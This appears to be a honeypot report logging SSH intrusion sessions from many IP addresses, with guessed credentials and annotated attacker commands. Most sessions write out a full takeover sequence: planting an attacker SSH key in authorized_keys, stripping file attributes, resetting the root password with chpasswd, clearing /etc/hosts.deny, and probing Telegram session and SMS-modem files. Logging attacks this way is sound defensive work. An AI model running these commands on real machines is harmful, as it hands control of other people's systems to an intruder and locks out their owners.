$ cd ~ && rm -rf .ssh && mkdir .ssh && echo "ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~ ×2 // SSH key persistence

$ cat /proc/cpuinfo | grep name | wc -l ×2 // CPU profiling

$ echo "root:agJ2tfA0qY0q"|chpasswd|bash

$ rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep; ×2 // execute from /tmp

$ cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}' ×2 // CPU profiling

$ free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}' ×2

$ ls -lh $(which ls) ×2

$ which ls ×2

$ crontab -l ×2 // persistence setup

$ w ×2 // logged-in users check

$ uname -m ×2

$ cat /proc/cpuinfo | grep model | grep name | wc -l ×2 // CPU profiling

$ top ×2 // process monitoring

$ uname ×2 // OS identification

$ uname -a ×2 // OS/kernel identification

$ whoami ×2 // privilege check

$ lscpu | grep Model ×2

$ df -h | head -n 2 | awk 'FNR == 2 {print $2;}' ×2

$ echo "root:m0fjMmGbuGJk"|chpasswd|bash

🎭 cipher_root_5 (103.97.101.25) — Pekalongan, Indonesia · 3 sessions · 58 cmds

2026-07-04 02:55 EDT · as root/Qwe123456., root/root1234!@#$, user12/123456

Ran uname 7x across 7 sessions — automated OS fingerprinting.

$ cd ~; chattr -ia .ssh; lockr -ia .ssh ×3 // file attribute tampering

$ cd ~ && rm -rf .ssh && mkdir .ssh && echo "ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~ ×3 // SSH key persistence

$ cat /proc/cpuinfo | grep name | wc -l ×3 // CPU profiling

$ echo "root:F8iG5JnBSIme"|chpasswd|bash

$ rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep; ×2 // execute from /tmp

$ cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}' ×3 // CPU profiling

$ free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}' ×3

$ ls -lh $(which ls) ×3

$ which ls ×3

$ crontab -l ×3 // persistence setup

$ w ×3 // logged-in users check

$ uname -m ×3

$ cat /proc/cpuinfo | grep model | grep name | wc -l ×3 // CPU profiling

$ top ×3 // process monitoring

$ uname ×3 // OS identification

$ uname -a ×3 // OS/kernel identification

$ whoami ×3 // privilege check

$ lscpu | grep Model ×3

$ df -h | head -n 2 | awk 'FNR == 2 {print $2;}' ×3

$ echo "root:8l4cyUjlDOhu"|chpasswd|bash

$ echo -e "123456\nDxJvGrleGygl\nDxJvGrleGygl"|passwd|bash

$ Enter new UNIX password:

$ echo "123456\nDxJvGrleGygl\nDxJvGrleGygl\n"|passwd

🎭 crumpet_root_2 (134.209.186.182) — Slough, United Kingdom · 1 session · 19 cmds

2026-07-04 07:57 EDT · as root/vincent

Ran uname 7x across 7 sessions — automated OS fingerprinting.

$ cd ~; chattr -ia .ssh; lockr -ia .ssh // file attribute tampering

$ cd ~ && rm -rf .ssh && mkdir .ssh && echo "ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~ // SSH key persistence

$ cat /proc/cpuinfo | grep name | wc -l // CPU profiling

$ echo "root:coOBRVquYpww"|chpasswd|bash

$ rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep; // execute from /tmp

$ cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}' // CPU profiling

$ free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'

$ ls -lh $(which ls)

$ which ls

$ crontab -l // persistence setup

$ w // logged-in users check

$ uname -m

$ cat /proc/cpuinfo | grep model | grep name | wc -l // CPU profiling

$ top // process monitoring

$ uname // OS identification

$ uname -a // OS/kernel identification

$ whoami // privilege check

$ lscpu | grep Model

$ df -h | head -n 2 | awk 'FNR == 2 {print $2;}'

🎭 phantom_root_37 (43.128.104.56) — Singapore, Singapore · 1 session · 19 cmds

2026-07-04 05:24 EDT · as root/1122334a

Ran uname 7x across 7 sessions — automated OS fingerprinting.

$ cd ~; chattr -ia .ssh; lockr -ia .ssh // file attribute tampering

$ cd ~ && rm -rf .ssh && mkdir .ssh && echo "ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~ // SSH key persistence

$ cat /proc/cpuinfo | grep name | wc -l // CPU profiling

$ echo "root:GI0ccxWBDwWF"|chpasswd|bash

$ rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep; // execute from /tmp

$ cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}' // CPU profiling

$ free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'

$ ls -lh $(which ls)

$ which ls

$ crontab -l // persistence setup

$ w // logged-in users check

$ uname -m

$ cat /proc/cpuinfo | grep model | grep name | wc -l // CPU profiling

$ top // process monitoring

$ uname // OS identification

$ uname -a // OS/kernel identification

$ whoami // privilege check

$ lscpu | grep Model

$ df -h | head -n 2 | awk 'FNR == 2 {print $2;}'

🎭 cipher_root_36 (1.53.20.126) — Hanoi, Vietnam · 1 session · 9 cmds

2026-07-04 05:23 EDT · as root/12345

Ran uname 7x across 7 sessions — automated OS fingerprinting.

$ /ip cloud print

$ ifconfig // network mapping

$ uname -a // OS/kernel identification

$ cat /proc/cpuinfo // CPU profiling

$ ps | grep '[Mm]iner'

$ ps -ef | grep '[Mm]iner'

$ ls -la ~/.local/share/TelegramDesktop/tdata /home/*/.local/share/TelegramDesktop/tdata /dev/ttyGSM* /dev/ttyUSB-mod* /var/spool/sms/* /var/log/smsd.log /etc/smsd.conf* /usr/bin/qmuxd /var/qmux_connect_socket /etc/config/simman /dev/modem* /var/config/sms/*

$ locate D877F783D5D3EF8Cs

$ echo Hi | cat -n

🎭 star_root_12 (68.98.227.226) — Phoenix, United States · 1 session · 9 cmds

2026-07-04 05:22 EDT · as root/123456

Ran uname 7x across 7 sessions — automated OS fingerprinting.

$ /ip cloud print

$ ifconfig // network mapping

$ uname -a // OS/kernel identification

$ cat /proc/cpuinfo // CPU profiling

$ ps | grep '[Mm]iner'

$ ps -ef | grep '[Mm]iner'

$ ls -la ~/.local/share/TelegramDesktop/tdata /home/*/.local/share/TelegramDesktop/tdata /dev/ttyGSM* /dev/ttyUSB-mod* /var/spool/sms/* /var/log/smsd.log /etc/smsd.conf* /usr/bin/qmuxd /var/qmux_connect_socket /etc/config/simman /dev/modem* /var/config/sms/*

$ locate D877F783D5D3EF8Cs

$ echo Hi | cat -n

🎭 wok_root_10 (223.223.199.221) — Beijing, China · 1 session · 19 cmds

2026-07-04 04:53 EDT · as root/qaz123321

Ran uname 7x across 7 sessions — automated OS fingerprinting.

$ cd ~; chattr -ia .ssh; lockr -ia .ssh // file attribute tampering

$ cd ~ && rm -rf .ssh && mkdir .ssh && echo "ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~ // SSH key persistence

$ cat /proc/cpuinfo | grep name | wc -l // CPU profiling

$ echo "root:n6D3CtxARQ0A"|chpasswd|bash

$ rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep; // execute from /tmp

$ cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}' // CPU profiling

$ free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'

$ ls -lh $(which ls)

$ which ls

$ crontab -l // persistence setup

$ w // logged-in users check

$ uname -m

$ cat /proc/cpuinfo | grep model | grep name | wc -l // CPU profiling

$ top // process monitoring

$ uname // OS identification

$ uname -a // OS/kernel identification

$ whoami // privilege check

$ lscpu | grep Model

$ df -h | head -n 2 | awk 'FNR == 2 {print $2;}'

🎭 rogue_root_25 (118.194.234.8) — Singapore, Singapore · 1 session · 19 cmds

2026-07-04 04:49 EDT · as root/hackme

file attribute tampering → SSH key persistence → CPU profiling → execute from /tmp → persistence setup

$ cd ~; chattr -ia .ssh; lockr -ia .ssh // file attribute tampering

$ cd ~ && rm -rf .ssh && mkdir .ssh && echo "ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~ // SSH key persistence

$ cat /proc/cpuinfo | grep name | wc -l // CPU profiling

$ echo "root:sJwHQIQr1fKh"|chpasswd|bash

$ rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep; // execute from /tmp

$ cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}' // CPU profiling

$ free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'

$ ls -lh $(which ls)

$ which ls

$ crontab -l // persistence setup

$ w // logged-in users check

$ uname -m

$ cat /proc/cpuinfo | grep model | grep name | wc -l // CPU profiling

$ top // process monitoring

$ uname // OS identification

$ uname -a // OS/kernel identification

$ whoami // privilege check

$ lscpu | grep Model

$ df -h | head -n 2 | awk 'FNR == 2 {print $2;}'

🎭 specter_root_34 (78.109.200.147) — Tehran, Iran · 1 session · 19 cmds

2026-07-04 04:36 EDT · as root/hackme

Ran uname 7x across 7 sessions — automated OS fingerprinting.

$ cd ~; chattr -ia .ssh; lockr -ia .ssh // file attribute tampering

$ cd ~ && rm -rf .ssh && mkdir .ssh && echo "ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~ // SSH key persistence

$ cat /proc/cpuinfo | grep name | wc -l // CPU profiling

$ echo "root:mRZ9ycN5dLQe"|chpasswd|bash

$ rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep; // execute from /tmp

$ cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}' // CPU profiling

$ free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'

$ ls -lh $(which ls)

$ which ls

$ crontab -l // persistence setup

$ w // logged-in users check

$ uname -m

$ cat /proc/cpuinfo | grep model | grep name | wc -l // CPU profiling

$ top // process monitoring

$ uname // OS identification

$ uname -a // OS/kernel identification

$ whoami // privilege check

$ lscpu | grep Model

$ df -h | head -n 2 | awk 'FNR == 2 {print $2;}'

🎭 toucan_root_2 (181.191.194.175) — Itaquiraí, Brazil · 2 sessions · 39 cmds

2026-07-01 19:50 EDT · as frank/frank, root/melocoton

Ran uname 7x across 7 sessions — automated OS fingerprinting.

$ cd ~; chattr -ia .ssh; lockr -ia .ssh ×2 // file attribute tampering

$ cd ~ && rm -rf .ssh && mkdir .ssh && echo "ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~ ×2 // SSH key persistence

$ cat /proc/cpuinfo | grep name | wc -l ×2 // CPU profiling

$ echo -e "frank\nZukHbLyKnDDS\nZukHbLyKnDDS"|passwd|bash

$ Enter new UNIX password:

$ echo "frank\nZukHbLyKnDDS\nZukHbLyKnDDS\n"|passwd

$ cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}' ×2 // CPU profiling

$ free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}' ×2

$ ls -lh $(which ls) ×2

$ which ls ×2

$ crontab -l ×2 // persistence setup

$ w ×2 // logged-in users check

$ uname -m ×2

$ cat /proc/cpuinfo | grep model | grep name | wc -l ×2 // CPU profiling

$ top ×2 // process monitoring

$ uname ×2 // OS identification

$ uname -a ×2 // OS/kernel identification

$ whoami ×2 // privilege check

$ lscpu | grep Model ×2

$ df -h | head -n 2 | awk 'FNR == 2 {print $2;}' ×2

$ echo "root:7wkLM2hYevpn"|chpasswd|bash

$ rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep; // execute from /tmp

🎭 shadow_root_18 (150.5.141.198) — Hong Kong, Hong Kong · 2 sessions · 38 cmds

2026-07-04 04:15 EDT · as root/kaixin123, root/passadmin123456

Ran uname 7x across 7 sessions — automated OS fingerprinting.

$ cd ~; chattr -ia .ssh; lockr -ia .ssh ×2 // file attribute tampering

$ cd ~ && rm -rf .ssh && mkdir .ssh && echo "ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~ ×2 // SSH key persistence

$ cat /proc/cpuinfo | grep name | wc -l ×2 // CPU profiling

$ echo "root:zHWObeuQhtID"|chpasswd|bash

$ rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep; ×2 // execute from /tmp

$ cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}' ×2 // CPU profiling

$ free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}' ×2

$ ls -lh $(which ls) ×2

$ which ls ×2

$ crontab -l ×2 // persistence setup

$ w ×2 // logged-in users check

$ uname -m ×2

$ cat /proc/cpuinfo | grep model | grep name | wc -l ×2 // CPU profiling

$ top ×2 // process monitoring

$ uname ×2 // OS identification

$ uname -a ×2 // OS/kernel identification

$ whoami ×2 // privilege check

$ lscpu | grep Model ×2

$ df -h | head -n 2 | awk 'FNR == 2 {print $2;}' ×2

$ echo "root:XLVIfSkS2AeU"|chpasswd|bash

🎭 rogue_2 (77.76.13.194) — Sofia, Bulgaria · 1 session · 20 cmds

2026-07-04 04:04 EDT · as friends/123456

Ran uname 7x across 7 sessions — automated OS fingerprinting.

$ cd ~; chattr -ia .ssh; lockr -ia .ssh // file attribute tampering

$ cd ~ && rm -rf .ssh && mkdir .ssh && echo "ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~ // SSH key persistence

$ cat /proc/cpuinfo | grep name | wc -l // CPU profiling

$ echo -e "123456\n4KICFOXZSSO6\n4KICFOXZSSO6"|passwd|bash

$ Enter new UNIX password:

$ echo "123456\n4KICFOXZSSO6\n4KICFOXZSSO6\n"|passwd

$ cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}' // CPU profiling

$ free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'

$ ls -lh $(which ls)

$ which ls

$ crontab -l // persistence setup

$ w // logged-in users check

$ uname -m

$ cat /proc/cpuinfo | grep model | grep name | wc -l // CPU profiling

$ top // process monitoring

$ uname // OS identification

$ uname -a // OS/kernel identification

$ whoami // privilege check

$ lscpu | grep Model

$ df -h | head -n 2 | awk 'FNR == 2 {print $2;}'

🎭 shadow_root_31 (185.29.27.2) — Athens, Greece · 1 session · 1 cmd

2026-07-04 04:03 EDT · as root/8610uster!

hostname discovery

$ hostname // hostname discovery

🎭 phantom_pi (160.22.170.237) — Go Vap, Vietnam · 1 session · 20 cmds

2026-07-04 04:03 EDT · as frank/frank

hostname discovery

$ cd ~; chattr -ia .ssh; lockr -ia .ssh // file attribute tampering

$ cd ~ && rm -rf .ssh && mkdir .ssh && echo "ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~ // SSH key persistence

$ cat /proc/cpuinfo | grep name | wc -l // CPU profiling

$ echo -e "frank\nesuvGUU3C1iW\nesuvGUU3C1iW"|passwd|bash

$ Enter new UNIX password:

$ echo "frank\nesuvGUU3C1iW\nesuvGUU3C1iW\n"|passwd

$ cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}' // CPU profiling

$ free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'

$ ls -lh $(which ls)

$ which ls

$ crontab -l // persistence setup

$ w // logged-in users check

$ uname -m

$ cat /proc/cpuinfo | grep model | grep name | wc -l // CPU profiling

$ top // process monitoring

$ uname // OS identification

$ uname -a // OS/kernel identification

$ whoami // privilege check

$ lscpu | grep Model

$ df -h | head -n 2 | awk 'FNR == 2 {print $2;}'

🎭 seoul_root_7 (61.76.136.25) — Seo-gu, South Korea · 1 session · 19 cmds

2026-07-04 04:01 EDT · as root/kaixin123

hostname discovery

$ cd ~; chattr -ia .ssh; lockr -ia .ssh // file attribute tampering

$ cd ~ && rm -rf .ssh && mkdir .ssh && echo "ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~ // SSH key persistence

$ cat /proc/cpuinfo | grep name | wc -l // CPU profiling

$ echo "root:hSR8cAKThXm0"|chpasswd|bash

$ rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep; // execute from /tmp

$ cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}' // CPU profiling

$ free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'

$ ls -lh $(which ls)

$ which ls

$ crontab -l // persistence setup

$ w // logged-in users check

$ uname -m

$ cat /proc/cpuinfo | grep model | grep name | wc -l // CPU profiling

$ top // process monitoring

$ uname // OS identification

$ uname -a // OS/kernel identification

$ whoami // privilege check

$ lscpu | grep Model

$ df -h | head -n 2 | awk 'FNR == 2 {print $2;}'

🎭 capoeira_root (187.16.96.250) — Rio de Janeiro, Brazil · 1 session · 20 cmds

2026-07-04 03:13 EDT · as user12/123456

hostname discovery

$ cd ~; chattr -ia .ssh; lockr -ia .ssh // file attribute tampering

$ cd ~ && rm -rf .ssh && mkdir .ssh && echo "ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~ // SSH key persistence

$ cat /proc/cpuinfo | grep name | wc -l // CPU profiling

$ echo -e "123456\niT6g9tk2ApP8\niT6g9tk2ApP8"|passwd|bash

$ Enter new UNIX password:

$ echo "123456\niT6g9tk2ApP8\niT6g9tk2ApP8\n"|passwd

$ cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}' // CPU profiling

$ free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'

$ ls -lh $(which ls)

$ which ls

$ crontab -l // persistence setup

$ w // logged-in users check

$ uname -m

$ cat /proc/cpuinfo | grep model | grep name | wc -l // CPU profiling

$ top // process monitoring

$ uname // OS identification

$ uname -a // OS/kernel identification

$ whoami // privilege check

$ lscpu | grep Model

$ df -h | head -n 2 | awk 'FNR == 2 {print $2;}'

🎭 phantom_root_16 (61.28.144.154) — Makati City, Philippines · 1 session · 20 cmds

2026-07-04 02:57 EDT · as user12/123456

hostname discovery

$ cd ~; chattr -ia .ssh; lockr -ia .ssh // file attribute tampering

$ cd ~ && rm -rf .ssh && mkdir .ssh && echo "ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~ // SSH key persistence

$ cat /proc/cpuinfo | grep name | wc -l // CPU profiling

$ echo -e "123456\nBjdyZPSda7AK\nBjdyZPSda7AK"|passwd|bash

$ Enter new UNIX password:

$ echo "123456\nBjdyZPSda7AK\nBjdyZPSda7AK\n"|passwd

$ cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}' // CPU profiling

$ free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'

$ ls -lh $(which ls)

$ which ls

$ crontab -l // persistence setup

